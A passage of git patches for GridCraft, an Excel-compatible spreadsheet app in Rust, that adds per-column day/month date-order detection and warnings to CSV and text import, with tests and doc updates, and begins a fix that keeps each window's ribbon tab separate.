-> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-25 · **Change:** minor (AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column; earlier: macro engine and `macro.*` commands; macro interface on the Automate tab) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (CSV and text open detects each column's date order, so day-first dates are not silently swapped; earlier: AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column; macro engine and `macro.*` commands; macro interface on the Automate tab) · **Target:** Microsoft Excel (Microsoft 365) GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web. @@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| +| 2026-10-31 | CSV and text open detects each column's date order: a value that reads only day first (`31/05/2026`) makes the column day first, a value that reads only month first (`12/31/2026`) makes it month first, an all-ambiguous column keeps month first with a warning, and a column with both kinds stays text with a warning (#2765) | | 2026-10-25 | AutoSum over a selection does what Excel does: a selected row gets one total to its right (in its last cell if that is empty), not a one-cell total under each cell; a block whose last column is empty gets each row's total there, one whose last row is empty each column's, and with both the corner gets the total of the block; otherwise totals go under each column as before | | 2026-10-24 | Macro interface ([macros.md](docs/macros.md#in-the-window)): an Automate › Macros group (Record Macro, which turns into Stop Recording, Use Relative References, Run Macro with recent macros); "Recording · N steps" with Stop in the status bar; a Record Macro dialog (checked name, free Ctrl+Shift shortcut, description); the Macros dialog lists macros beside Automate scripts and a VBA project, with Run, Step Into, Edit, Create, Delete and Options; Ctrl+Shift+letter macro shortcuts; questions that offer Run, Overwrite, Shift Down or Shift Right; a step editor with a breakpoint gutter, drag to reorder, a command picker, reference boxes that switch between relative tokens and absolute references, Inputs and Output tabs, a debug bar (Check, Run, Step, Continue, Run to Here, Stop with keep or undo) and grid overlays for inputs, writes, conflicts and the current step | | 2026-10-24 | Go To lists the named ranges of every sheet (`Sheet2!Name` for a name scoped to another sheet; hidden names, constants and formulas left out) and the references entered before, a double-click goes to an entry, and the Reference box takes several names or references separated by commas (`Price, Type`, `B14:C22,F19:G30`) | diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 71060a4c9..96d100aea 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -182,17 +182,17 @@ fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, } Some(FileKind::Tsv) => { let opts = gridcraft_xlsx::CsvOptions { delimiter: b'\t', parse_values: !csv_as_text, ..Default::default() }; - let mut wb = gridcraft_xlsx::read_csv(bytes, &opts).map_err(|e| EngineError::Other(e.to_string()))?; + let (mut wb, report) = gridcraft_xlsx::read_csv_with_report(bytes, &opts).map_err(|e| EngineError::Other(e.to_string()))?; // Tab is what makes it a .tsv/.txt; saved as .csv it gets the CSV default. wb.csv_delimiter = None; rename_first_sheet(&mut wb, name); - Ok((wb, vec![])) + Ok((wb, report.warnings)) } _ => { let opts = gridcraft_xlsx::CsvOptions { delimiter: 0, parse_values: !csv_as_text, ..Default::default() }; - let mut wb = gridcraft_xlsx::read_csv(bytes, &opts).map_err(|e| EngineError::Other(e.to_string()))?; + let (mut wb, report) = gridcraft_xlsx::read_csv_with_report(bytes, &opts).map_err(|e| EngineError::Other(e.to_string()))?; rename_first_sheet(&mut wb, name); - Ok((wb, vec![])) + Ok((wb, report.warnings)) } } } diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 130b1a6d9..97087999e 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -291,6 +291,20 @@ fn csv_named_history_does_not_get_the_reserved_sheet_name() { assert_eq!(wb.sheets[0].name, "Sales"); } +#[test] +fn csv_and_text_open_read_day_first_dates_and_report_a_guessed_order() { + let may = gridcraft_core::date::serial_from_ymd(gridcraft_core::DateSystem::D1900, 2026, 5, 31).unwrap(); + let april = gridcraft_core::date::serial_from_ymd(gridcraft_core::DateSystem::D1900, 2026, 4, 3).unwrap(); + for file in ["dates.csv", "dates.txt"] { + let (wb, warnings) = open_bytes(file, b"When\n31/05/2026\n03/04/2026\n").unwrap(); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::new(1, 0)), gridcraft_core::Value::Number(may), "{file}"); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::new(2, 0)), gridcraft_core::Value::Number(april), "{file}"); + assert!(warnings.is_empty(), "{file}: {warnings:?}"); + } + let (_, warnings) = open_bytes("ambiguous.csv", b"When\n03/04/2026\n12/01/2026\n").unwrap(); + assert!(warnings.iter().any(|w| w.contains("column A") && w.contains("ambiguous")), "{warnings:?}"); +} + /// A save that can't be put in place (here a folder already has the workbook's name, as /// with a file another app holds locked) fails without leaving `.sctmp` behind. #[cfg(not(target_arch = "wasm32"))] diff --git a/crates/xlsx/src/csv.rs b/crates/xlsx/src/csv.rs index dfc694ea6..460cd3227 100644 --- a/crates/xlsx/src/csv.rs +++ b/crates/xlsx/src/csv.rs @@ -2,11 +2,12 @@ use std::sync::Arc; -use gridcraft_core::parse::parse_input; -use gridcraft_core::{CellRef, MAX_COLS, MAX_ROWS, Value}; +use gridcraft_core::date::{days_in_month_in, serial_from_ymd}; +use gridcraft_core::parse::{Parsed, parse_input}; +use gridcraft_core::{CellRef, DateSystem, MAX_COLS, MAX_ROWS, Value, col_to_letters}; use gridcraft_model::{Cell, NumFmt, Sheet, StyleId, Workbook}; -use crate::{CsvOptions, IoError}; +use crate::{CsvOptions, IoError, ReadReport}; /// The largest CSV or tab-separated file written (bytes). pub const MAX_CSV_BYTES: usize = 512 << 20; @@ -248,13 +249,246 @@ pub(crate) fn parse_records(text: &str, delim: char, quote: char, mut on_record: } } +/// How many rows and bytes of a text file are read to decide each column's date order. +const DATE_SAMPLE_ROWS: usize = 200; +const DATE_SAMPLE_BYTES: usize = 1 << 20; + +/// What a column's numeric dates say about the order of day and month. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +enum DateRule { + /// No `d/m/y` or `d-m-y` value in the sample: read as typed input does. + NoDates, + /// A value reads only month first (`12/31/2026`), none reads only day first. + MonthFirst, + /// A value reads only day first (`31/05/2026`), none reads only month first. + DayFirst, + /// Every date is ambiguous (`03/04/2026`): keep the input parser's month-first reading. + Ambiguous, + /// Values read only day first and values read only month first: the dates stay text. + Conflict, +} + +impl DateRule { + fn of(day_first: usize, month_first: usize, ambiguous: usize) -> Self { + match (day_first > 0, month_first > 0, ambiguous > 0) { + (true, true, _) => Self::Conflict, + (true, false, _) => Self::DayFirst, + (false, true, _) => Self::MonthFirst, + (false, false, true) => Self::Ambiguous, + (false, false, false) => Self::NoDates, + } + } +} + +/// The evidence a column's sample gives for its date order. +#[derive(Clone, Default)] +struct DateEvidence { + day_first: usize, + month_first: usize, + ambiguous: usize, + day_first_example: Option, + month_first_example: Option, + ambiguous_example: Option, +} + +/// A numeric `d/m/y` or `d-m-y` field, with the serial it has read each way and its time of day. +struct NumericDate { + day_first: Option, + month_first: Option, + time: Option, +} + +impl NumericDate { + /// The field under the column's rule: a date when that reading is valid, else text. + fn read(&self, field: &str, rule: DateRule) -> Parsed { + let serial = match rule { + DateRule::DayFirst => self.day_first, + DateRule::MonthFirst | DateRule::Ambiguous => self.month_first, + DateRule::Conflict | DateRule::NoDates => None, + }; + match serial { + Some(serial) => Parsed { + value: Value::number(serial + self.time.unwrap_or(0.0)), + format: Some(if self.time.is_some() { "m/d/yyyy h:mm" } else { "m/d/yyyy" }), + }, + None => Parsed { value: Value::text(field), format: None }, + } + } +} + +/// A numeric date written with `/` or `-`, with the serial it has read day first and month first. +/// `None` when the field isn't such a date (including ISO `yyyy-mm-dd`, month names and dots, +/// which read one way and keep the input parser). +fn numeric_date(field: &str, sys: DateSystem) -> Option { + let text = field.trim(); + let (date, time) = split_time(text, sys); + // Typed input reads a trailing comma after a date (`3/4/2026,`); do the same here. + let date = date.trim_end_matches(','); + let mut parts = date.split(['/', '-']); + let (a, b, c) = (parts.next()?, parts.next()?, parts.next()?); + if parts.next().is_some() { + return None; + } + let (a, b, c) = (a.trim(), b.trim(), c.trim()); + // ISO dates are unambiguous; the input parser reads them. A three-digit year is not a + // date to typed input either. + if a.len() == 4 || c.len() == 3 { + return None; + } + let a = parse_digits(a)?; + let b = parse_digits(b)?; + let year = expand_year(c, parse_digits(c)?); + let day_first = valid_date(sys, year, b, a); + let month_first = valid_date(sys, year, a, b); + if day_first.is_none() && month_first.is_none() { + return None; + } + Some(NumericDate { day_first, month_first, time }) +} + +/// Splits a field into its date and a time of day, when the tail reads as a time. Both the first +/// and last space are tried, so `03/04/2026 10:30 AM` and `03 / 04 / 2026 10:30` both split. +fn split_time(text: &str, sys: DateSystem) -> (&str, Option) { + for at in [text.find(' '), text.rfind(' ')].into_iter().flatten() { + let (date, time) = text.split_at(at); + let time = time.trim(); + // Times are short; a long tail is not one, and parsing it would be wasted work. + if time.len() > 40 { + continue; + } + if let Some(fraction) = time_of_day(time, sys) { + return (date.trim(), Some(fraction)); + } + } + (text, None) +} + +fn time_of_day(text: &str, sys: DateSystem) -> Option { + match parse_input(text, sys) { + Parsed { value: Value::Number(fraction), format: Some(code) } if code.contains('h') => Some(fraction), + _ => None, + } +} + +fn parse_digits(s: &str) -> Option { + if s.is_empty() || !s.bytes().all(|b| b.is_ascii_digit()) { + return None; + } + s.parse().ok() +} + +/// Expands a one- or two-digit year the way typed input does (`26` is 2026, `30` is 1930). +fn expand_year(text: &str, year: i64) -> i64 { + if text.len() <= 2 { if year < 30 { 2000 + year } else { 1900 + year } } else { year } +} + +/// The serial for a date the input parser accepts, or `None`. +fn valid_date(sys: DateSystem, year: i64, month: i64, day: i64) -> Option { + if !(1..=12).contains(&month) || day < 1 || year < 1900 { + return None; + } + let year = i32::try_from(year).ok()?; + let month = u32::try_from(month).ok()?; + if day > i64::from(days_in_month_in(sys, year, month)) { + return None; + } + serial_from_ymd(sys, i64::from(year), i64::from(month), day) +} + +/// The first records of the file, bounded by rows and bytes, for date-order inference. +fn sample_records(text: &str, delim: char, quote: char) -> Vec> { + let mut cut = text.len().min(DATE_SAMPLE_BYTES); + while !text.is_char_boundary(cut) { + cut -= 1; + } + let truncated = cut < text.len(); + let sample = text.get(..cut).unwrap_or_default(); + let mut rows = Vec::new(); + parse_records(sample, delim, quote, |record| { + rows.push(record); + rows.len() < DATE_SAMPLE_ROWS + }); + // A cut through the last record leaves a partial field; it says nothing reliable. + if truncated { + rows.pop(); + } + rows +} + +/// The date rule for each column, from the sample. +fn infer_date_rules(rows: &[Vec], sys: DateSystem) -> Vec<(DateRule, DateEvidence)> { + let width = rows.iter().map(Vec::len).max().unwrap_or(0).min(MAX_COLS as usize); + let mut columns = vec![DateEvidence::default(); width]; + for row in rows { + for (col, field) in row.iter().enumerate() { + let Some(column) = columns.get_mut(col) else { continue }; + let Some(date) = numeric_date(field, sys) else { continue }; + let example = || field.trim().chars().take(40).collect::(); + match (date.day_first.is_some(), date.month_first.is_some()) { + (true, true) => { + column.ambiguous += 1; + column.ambiguous_example.get_or_insert_with(example); + } + (true, false) => { + column.day_first += 1; + column.day_first_example.get_or_insert_with(example); + } + (false, true) => { + column.month_first += 1; + column.month_first_example.get_or_insert_with(example); + } + (false, false) => {} + } + } + } + columns.into_iter().map(|c| (DateRule::of(c.day_first, c.month_first, c.ambiguous), c)).collect() +} + +/// Warns when the sample could not choose a date order: an all-ambiguous column keeps the +/// month-first reading, and a column with both kinds keeps its dates as text. +fn date_warnings(columns: &[(DateRule, DateEvidence)], report: &mut ReadReport) { + for (col, (rule, evidence)) in columns.iter().enumerate() { + match rule { + DateRule::Ambiguous => report.warn(format!( + "column {}: every date is ambiguous, so it was read month first ({})", + col_to_letters(col as u32), + evidence.ambiguous_example.as_deref().unwrap_or("a date") + )), + DateRule::Conflict => report.warn(format!( + "column {}: it holds both day-first and month-first dates ({} and {}), so its dates stay text", + col_to_letters(col as u32), + evidence.day_first_example.as_deref().unwrap_or("a day-first date"), + evidence.month_first_example.as_deref().unwrap_or("a month-first date") + )), + DateRule::NoDates | DateRule::MonthFirst | DateRule::DayFirst => {} + } + } +} + +/// Reads one field with the column's date rule; other values go through typed input. +fn read_field(field: &str, sys: DateSystem, rule: DateRule) -> Parsed { + match numeric_date(field, sys) { + Some(date) if rule != DateRule::NoDates => date.read(field, rule), + _ => parse_input(field, sys), + } +} + pub fn read_csv(bytes: &[u8], opts: &CsvOptions) -> Result { + read_csv_with_report(bytes, opts).map(|(wb, _)| wb) +} + +/// [`read_csv`], with the warnings an open shows: a column whose date order had to be guessed, +/// or whose dates stayed text because it holds both orders. +pub fn read_csv_with_report(bytes: &[u8], opts: &CsvOptions) -> Result<(Workbook, ReadReport), IoError> { let text = decode_text(bytes); let quote = if opts.quote == 0 { '"' } else { opts.quote as char }; let delim = if opts.delimiter == 0 { sniff_delimiter(&text, quote) } else { opts.delimiter } as char; if delim == quote { return Err(IoError::Format("the delimiter and quote character must differ".into())); } + let date_columns = if opts.parse_values { infer_date_rules(&sample_records(&text, delim, quote), opts.date_system) } else { vec![] }; + let mut report = ReadReport::default(); + date_warnings(&date_columns, &mut report); let mut wb = Workbook::new(); wb.date_system = opts.date_system; wb.csv_delimiter = u8::try_from(delim).ok(); @@ -276,7 +510,8 @@ pub fn read_csv(bytes: &[u8], opts: &CsvOptions) -> Result { } let pos = CellRef::new(row, col as u32); let cell = if opts.parse_values { - let p = parse_input(&f, opts.date_system); + let rule = date_columns.get(col).map_or(DateRule::NoDates, |(rule, _)| *rule); + let p = read_field(&f, opts.date_system, rule); let style = match p.format { Some(code) => match fmt_cache.iter().find(|(c, _)| *c == code) { Some((_, id)) => *id, @@ -299,7 +534,7 @@ pub fn read_csv(bytes: &[u8], opts: &CsvOptions) -> Result { }); wb.styles = styles; wb.sheets = vec![Arc::new(sheet)]; - Ok(wb) + Ok((wb, report)) } /// Writes the sheet as CSV from A1 to the end of its used range, so leading empty columns and rows diff --git a/crates/xlsx/src/lib.rs b/crates/xlsx/src/lib.rs index 650b22820..dab1bb5af 100644 --- a/crates/xlsx/src/lib.rs +++ b/crates/xlsx/src/lib.rs @@ -45,7 +45,7 @@ use gridcraft_core::DateSystem; use gridcraft_model::Workbook; pub use crypto::{DecryptError, check_encryption, decrypt}; -pub use csv::{MAX_CSV_BYTES, read_csv, write_csv, write_csv_limited}; +pub use csv::{MAX_CSV_BYTES, read_csv, read_csv_with_report, write_csv, write_csv_limited}; pub use ods::read_ods; pub use package::MAX_PART; pub use passthrough::rebase_links; diff --git a/crates/xlsx/src/tests/csv_tests.rs b/crates/xlsx/src/tests/csv_tests.rs index 066f507e0..585fb680f 100644 --- a/crates/xlsx/src/tests/csv_tests.rs +++ b/crates/xlsx/src/tests/csv_tests.rs @@ -2,7 +2,7 @@ use gridcraft_core::{CellRef, DateSystem, MAX_COLS, Value}; use gridcraft_model::{Sheet, Workbook}; use crate::csv::{decode_text, parse_records, sniff_delimiter}; -use crate::{CsvOptions, Format, IoError, read_csv, sniff, write_csv, write_csv_limited}; +use crate::{CsvOptions, Format, IoError, read_csv, read_csv_with_report, sniff, write_csv, write_csv_limited}; fn v(wb: &Workbook, r: u32, c: u32) -> Value { wb.sheet(0).unwrap().value(CellRef::new(r, c)) @@ -23,6 +23,86 @@ fn quoting_and_newlines() { assert_eq!(v(&wb, 3, 0), Value::text("last")); } +fn date(y: i64, m: i64, d: i64) -> Value { + Value::Number(gridcraft_core::date::serial_from_ymd(DateSystem::D1900, y, m, d).unwrap()) +} + +#[test] +fn day_first_columns_read_ambiguous_dates_day_first() { + let src = "CustomerID,Name,City,SignupDate,RenewalDate,CardNumber,Balance\n\ + 00123,Zoë Ångström,Malmö,03/04/2026,25/12/2026,4111111111111111,1234.50\n\ + 00456,José Núñez,São Paulo,12/01/2026,01/02/2027,5500005555555559,99.90\n\ + 00789,Françoise Lefèvre,Besançon,31/05/2026,30/11/2026,4012888888881881,0.00\n\ + 01000,Jürgen Weiß,Köln,07/08/2026,13/09/2026,3530111333300000,-15.25\n"; + let (wb, report) = read_csv_with_report(src.as_bytes(), &CsvOptions::default()).unwrap(); + // A value that reads only day first (31/05, 25/12) makes the whole column day first. + assert_eq!(v(&wb, 1, 3), date(2026, 4, 3)); + assert_eq!(v(&wb, 2, 3), date(2026, 1, 12)); + assert_eq!(v(&wb, 3, 3), date(2026, 5, 31)); + assert_eq!(v(&wb, 4, 3), date(2026, 8, 7)); + assert_eq!(v(&wb, 1, 4), date(2026, 12, 25)); + assert_eq!(v(&wb, 2, 4), date(2027, 2, 1)); + assert_eq!(v(&wb, 3, 4), date(2026, 11, 30)); + assert_eq!(v(&wb, 4, 4), date(2026, 9, 13)); + assert!(report.warnings.is_empty(), "{:?}", report.warnings); +} + +#[test] +fn month_first_columns_keep_month_first_without_a_warning() { + let (wb, report) = read_csv_with_report(b"When\n12/31/2026\n01/02/2027\n", &CsvOptions::default()).unwrap(); + assert_eq!(v(&wb, 1, 0), date(2026, 12, 31)); + assert_eq!(v(&wb, 2, 0), date(2027, 1, 2)); + assert!(report.warnings.is_empty(), "{:?}", report.warnings); +} + +#[test] +fn an_all_ambiguous_date_column_keeps_month_first_and_warns() { + let (wb, report) = read_csv_with_report(b"When\n03/04/2026\n12/01/2026\n", &CsvOptions::default()).unwrap(); + assert_eq!(v(&wb, 1, 0), date(2026, 3, 4)); + assert_eq!(v(&wb, 2, 0), date(2026, 12, 1)); + assert!(report.warnings.iter().any(|w| w.contains("column A") && w.contains("ambiguous")), "{:?}", report.warnings); + // Keeping every field as text reads no dates, so there is no order to guess. + let (_, report) = read_csv_with_report(b"When\n03/04/2026\n12/01/2026\n", &CsvOptions { parse_values: false, ..Default::default() }).unwrap(); + assert!(report.warnings.is_empty(), "{:?}", report.warnings); +} + +#[test] +fn a_column_with_both_orders_keeps_its_dates_as_text_and_warns() { + let (wb, report) = read_csv_with_report(b"When\n31/05/2026\n12/31/2026\n", &CsvOptions::default()).unwrap(); + assert_eq!(v(&wb, 1, 0), Value::text("31/05/2026")); + assert_eq!(v(&wb, 2, 0), Value::text("12/31/2026")); + assert!(report.warnings.iter().any(|w| w.contains("column A") && w.contains("both day-first and month-first")), "{:?}", report.warnings); +} + +#[test] +fn dashes_and_two_digit_years_follow_the_column_order() { + let (wb, report) = read_csv_with_report(b"When\n31-05-26\n03-04-26\n", &CsvOptions::default()).unwrap(); + assert_eq!(v(&wb, 1, 0), date(2026, 5, 31)); + assert_eq!(v(&wb, 2, 0), date(2026, 4, 3)); + assert!(report.warnings.is_empty(), "{:?}", report.warnings); + + let (wb, report) = read_csv_with_report(b"When\n12-31-26\n01-02-27\n", &CsvOptions::default()).unwrap(); + assert_eq!(v(&wb, 1, 0), date(2026, 12, 31)); + assert_eq!(v(&wb, 2, 0), date(2027, 1, 2)); + assert!(report.warnings.is_empty(), "{:?}", report.warnings); +} + +#[test] +fn a_day_first_date_and_time_is_read_day_first() { + let (wb, report) = read_csv_with_report(b"When\n31/05/2026 10:30\n03/04/2026 10:30\n", &CsvOptions::default()).unwrap(); + let at = |y, m, d| Value::Number(gridcraft_core::date::serial_from_ymd(DateSystem::D1900, y, m, d).unwrap() + 10.5 / 24.0); + assert_eq!(v(&wb, 1, 0), at(2026, 5, 31)); + assert_eq!(v(&wb, 2, 0), at(2026, 4, 3)); + assert!(report.warnings.is_empty(), "{:?}", report.warnings); +} + +#[test] +fn iso_dates_are_not_reordered_by_their_column() { + let wb = read_csv(b"When\n31/05/2026\n2026-03-04\n", &CsvOptions::default()).unwrap(); + assert_eq!(v(&wb, 1, 0), date(2026, 5, 31)); + assert_eq!(v(&wb, 2, 0), date(2026, 3, 4)); +} + #[test] fn values_and_formats() { let src = "1,2.5,\"1,234\",50%,TRUE,#N/A,2026-03-04,$5.00,'007,text"; diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index 1523e9d94..5155cbc83 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-26 · **Change:** minor (`file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (`file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -66,10 +66,10 @@ values) is still dropped. | Format | Excel | GridCraft read | GridCraft write | Notes | |---|---|---|---|---| -| `.csv` UTF-8 / Windows / Mac / MS-DOS | R/W | yes (UTF-8 and UTF-16 BOMs, UTF-8, likely Windows-1256 Arabic detection, otherwise Windows-1252 fallback; delimiter detection) | yes (UTF-8 without BOM, CRLF; a file opened as CSV is saved with the separator it was read with, so a `;` file stays `;`; otherwise `,`) | Excel writes the **displayed** values, and so do we; `file.exportCsv {values: true}` writes raw values (full precision, ISO 8601 dates) for automation. No encoding choice on save. Re-import of a single-column export splits text (#127) A used range that would write more than 512 MiB (two far-apart cells span the whole rectangle) is refused with an error instead of being expanded (#528). | -| `.txt` tab-delimited, Unicode text | R/W | yes (`.txt`, `.tsv`, `.tab`; likely Windows-1256 Arabic detection for invalid UTF-8) | yes | Text Import Wizard options partly via Text to Columns | -| `.csv` UTF-8 / Windows / Mac / MS-DOS | R/W | yes (UTF-8 and UTF-16 BOMs, UTF-8, likely Windows-1256 Arabic detection, otherwise Windows-1252 fallback; delimiter detection) | yes (UTF-8 without BOM, CRLF) | Writes the **displayed** values like Excel (number formats applied, formula results, never column-width `#####`); `file.exportCsv {values: true}` writes raw values instead. No encoding choice on save. Re-import of a single-column export splits text (#127) A used range that would write more than 512 MiB (two far-apart cells span the whole rectangle) is refused with an error instead of being expanded (#528). | -| `.txt` tab-delimited, Unicode text | R/W | yes (`.txt`, `.tsv`, `.tab`; likely Windows-1256 Arabic detection for invalid UTF-8) | yes (displayed values) | Text Import Wizard options partly via Text to Columns | +| `.csv` UTF-8 / Windows / Mac / MS-DOS | R/W | yes (UTF-8 and UTF-16 BOMs, UTF-8, likely Windows-1256 Arabic detection, otherwise Windows-1252 fallback; delimiter detection; per-column day/month date-order detection for `/` and `-` dates) | yes (UTF-8 without BOM, CRLF; a file opened as CSV is saved with the separator it was read with, so a `;` file stays `;`; otherwise `,`) | Excel writes the **displayed** values, and so do we; `file.exportCsv {values: true}` writes raw values (full precision, ISO 8601 dates) for automation. No encoding choice on save. Re-import of a single-column export splits text (#127) A used range that would write more than 512 MiB (two far-apart cells span the whole rectangle) is refused with an error instead of being expanded (#528). | +| `.txt` tab-delimited, Unicode text | R/W | yes (`.txt`, `.tsv`, `.tab`; likely Windows-1256 Arabic detection for invalid UTF-8; per-column day/month date-order detection for `/` and `-` dates) | yes | Text Import Wizard options partly via Text to Columns | +| `.csv` UTF-8 / Windows / Mac / MS-DOS | R/W | yes (UTF-8 and UTF-16 BOMs, UTF-8, likely Windows-1256 Arabic detection, otherwise Windows-1252 fallback; delimiter detection; per-column day/month date-order detection for `/` and `-` dates) | yes (UTF-8 without BOM, CRLF) | Writes the **displayed** values like Excel (number formats applied, formula results, never column-width `#####`); `file.exportCsv {values: true}` writes raw values instead. No encoding choice on save. Re-import of a single-column export splits text (#127) A used range that would write more than 512 MiB (two far-apart cells span the whole rectangle) is refused with an error instead of being expanded (#528). | +| `.txt` tab-delimited, Unicode text | R/W | yes (`.txt`, `.tsv`, `.tab`; likely Windows-1256 Arabic detection for invalid UTF-8; per-column day/month date-order detection for `/` and `-` dates) | yes (displayed values) | Text Import Wizard options partly via Text to Columns | | `.prn` formatted text (space-delimited) | R/W | no | no | | | `.dif`, `.slk` (SYLK) | R/W | no | no | Small, legacy | | `.htm` / `.html` web page | R/W (Windows) | yes, via Get Data ▸ From HTML | yes (one sheet as a table; a used range taller than 100,001 rows fails with an error instead of being cut short) | Formatting not exported. A sheet with pictures or charts is written with the sheet's own column widths and row heights, a picture as a `data:` URI `` and a chart as inline SVG, each placed at its anchor; shapes, text boxes and comments are not exported | @@ -110,6 +110,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | CSV and text open detects each column's date order: a value that reads only day first (`31/05/2026`) makes the column day first, a value that reads only month first (`12/31/2026`) makes it month first, an all-ambiguous column keeps month first with a warning, and a column with both kinds stays text with a warning (#2765) | | 2026-10-21 | minor | HTML (Save as Web Page) writes pictures (`data:` URI ``) and charts (inline SVG from the chart crate's drawing primitives, text included) at their anchors; the table uses the sheet's column widths and row heights when the sheet has either, and output for sheets without pictures or charts is unchanged | | 2026-10-20 | trivial | XLSX shared strings: Japanese phonetic runs (ふりがな, `` with ``) are read into the workbook and written back next to the string with the same text, so an open + save no longer deletes them; bad offsets and readings are dropped with a warning, a `` without runs is kept on its own, and when duplicate `` items share a text but not a reading only the first reading is written (reported on open) (`phonetic_tests.rs`) | | 2026-10-20 | minor | A workbook theme's major/minor per-script typefaces (``, also Hebr, Jpan and the rest) are read and written back in file order after ``; they were dropped before. A hostile file is held to 64 entries of 256 characters | From 85bfe358dce1bdb9905befd208b019a6c1b0a9c7 Mon Sep 17 00:00:00 2001 From: Max Murphy Date: Sat, 31 Oct 2026 16:57:28 +0100 Subject: [PATCH 140/298] Ribbon: each window keeps its own tab, so Table Design stays active (#2903) --- crates/ui-egui/src/window_ui.rs | 12 +++-- .../ui-egui/tests/it/contextual_ribbon_tab.rs | 46 +++++++++++++++++++ 2 files changed, 55 insertions(+), 3 deletions(-) diff --git a/crates/ui-egui/src/window_ui.rs b/crates/ui-egui/src/window_ui.rs index bc6f31a3d..dbabe9b28 100644 --- a/crates/ui-egui/src/window_ui.rs +++ b/crates/ui-egui/src/window_ui.rs @@ -26,15 +26,19 @@ pub struct WindowUi { selected_chart: Option, tab_run: Option<(u64, usize, u32, CellRef)>, open_switch_windows: bool, + /// The ribbon tab this window shows. A contextual tab depends on this window's selection, so + /// another window's frame must not reset it. + ribbon_tab: String, /// The status bar's Ready/Enter/Edit, which follows the window's cell draft. mode: gridcraft_engine::Mode, } impl WindowUi { /// A new window's state. The last border, fill and font colour picked carry over, as they are - /// the user's recent choices rather than the window's. - fn fresh(like: &grid::GridState) -> WindowUi { + /// the user's recent choices rather than the window's; so does the ribbon tab. + fn fresh(like: &grid::GridState, ribbon_tab: &str) -> WindowUi { WindowUi { + ribbon_tab: ribbon_tab.to_string(), grid: grid::GridState { last_border: like.last_border.clone(), last_fill: like.last_fill.clone(), @@ -64,6 +68,7 @@ impl SheetApp { selected_chart, tab_run, open_switch_windows, + ribbon_tab, mode, } = w; std::mem::swap(&mut self.editor, editor); @@ -79,6 +84,7 @@ impl SheetApp { std::mem::swap(&mut self.selected_chart, selected_chart); std::mem::swap(&mut self.tab_run, tab_run); std::mem::swap(&mut self.open_switch_windows, open_switch_windows); + std::mem::swap(&mut self.ui.ribbon_tab, ribbon_tab); std::mem::swap(&mut self.session.mode, mode); } @@ -100,7 +106,7 @@ impl SheetApp { self.ui_window = active; return; }; - let mut outgoing = WindowUi::fresh(&self.grid); + let mut outgoing = WindowUi::fresh(&self.grid, &self.ui.ribbon_tab); self.swap_window_ui(&mut outgoing); if self.session.window(previous).is_some() { self.parked.insert(previous, outgoing); diff --git a/crates/ui-egui/tests/it/contextual_ribbon_tab.rs b/crates/ui-egui/tests/it/contextual_ribbon_tab.rs index ae318a22a..7ca8e8a21 100644 --- a/crates/ui-egui/tests/it/contextual_ribbon_tab.rs +++ b/crates/ui-egui/tests/it/contextual_ribbon_tab.rs @@ -74,3 +74,49 @@ fn an_ordinary_tab_stays_put_in_a_session() { h.run_steps(3); assert_eq!(h.state().ui.ribbon_tab, "Data"); } + +#[test] +fn a_second_window_does_not_reset_the_first_windows_table_design_tab() { + use egui::{Event, PointerButton, Shape}; + + let mut h = harness(session_with_table()); + let first = h.state().session.active_window().unwrap(); + // A second window on the same workbook, with its active cell outside the table. + h.state_mut().run("view.newWindow", 